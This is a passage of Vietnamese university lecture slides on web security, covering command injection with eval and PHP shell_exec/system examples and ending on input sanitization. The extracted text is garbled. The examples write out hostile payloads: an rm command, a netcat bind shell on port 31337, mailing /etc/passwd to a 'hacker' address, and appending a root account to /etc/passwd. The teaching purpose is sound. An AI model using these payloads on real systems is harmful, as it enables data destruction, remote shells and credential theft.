Bài giảng An ninh mạng - Bài 10: An toàn dịch vụ web - SQL injection, XSS, CSRF. Bài này cung cấp cho sinh viên những nội dung gồm: tấn công dạng command injection; phòng chống; kịch bản tấn công SQLi; phân tích truy vấn trên cây cú pháp; tautology-based SQLi; cây cú pháp; một số kỹ thuật khai thác SQLi; . Mời các bạn cùng tham khảo! | BÀI 10. AN TOÀN DỊCH VỤ WEB SQL INJECTION XSS CSRF Bùi Trọng Tùng Viện Công nghệ thông tin và Truyền thông Đại học Bách khoa Hà Nội 1 1 1. TẤN CÔNG DẠNG COMMAND INJECTION Bùi Trọng Tùng Viện Công nghệ thông tin và Truyền thông Đại học Bách khoa Hà Nội 2 2 1 Command Injection Lợi dụng lỗ hổng không kiểm soát giá trị các đối số khi thực thi kịch bản servlet trên web server Không phân biệt được dữ liệu và mã nguồn trong đối số Ví dụ Website chứa servlet cung cấp tính năng tính toán biểu thức bất kỳ qua hàm eval http in _GET exp Nội dung biểu thức được truyền eval ans . in . qua đối số exp. Ví dụ http exp 1 1 Servlet thực thi như thế nào nếu truyền đối số như sau http exp 10 system rm . 3 3 Command Injection Ví dụ khác 1. http exec Client Server 2. Send page Ping for FREE Enter an IP address below Ô nhập dữ liệu Command Injection Ví dụ khác Client Server Send output t _REQUEST ip o shell_exec ping C 3 . t echo o Ping for FREE PHP exec program Enter an IP address below Command Injection Ví dụ khác ls Client Server 2. Send page t _REQUEST ip o shell_exec ping C 3 . t echo o PHP exec program 7 7 Command Injection Ví dụ khác Thực thi shell ip 26 netcat -v - e bin bash -l -p 31337 amp submit submit netcat v e bin bash l p 31337 8 8 4 Command Injection Ví dụ khác Mã PHP để gửi email email _POST email subject _POST subject system mail email s subject lt tmp joinmynetwork Chèn mã thực thi khi truyền giá trị cho đối số http email hacker@ amp subject foo lt usr passwd ls Hoặc http email hacker@ amp subject foo echo evil 0 0 root bin sh quot gt gt etc passwd ls 9 9 Phòng chống Kiểm tra chỉ chấp nhận giá trị chứa các ký tự hợp lệ Ký tự nào là hợp lệ Phụ thuộc ngữ cảnh Làm sạch đầu vào input sanitization Xác định các ký tự đặc biệt không nên xuất hiện Thêm dấu đặt trước các ký tự đặc biệt Xóa các ký tự đặc biệt Có thể vượt .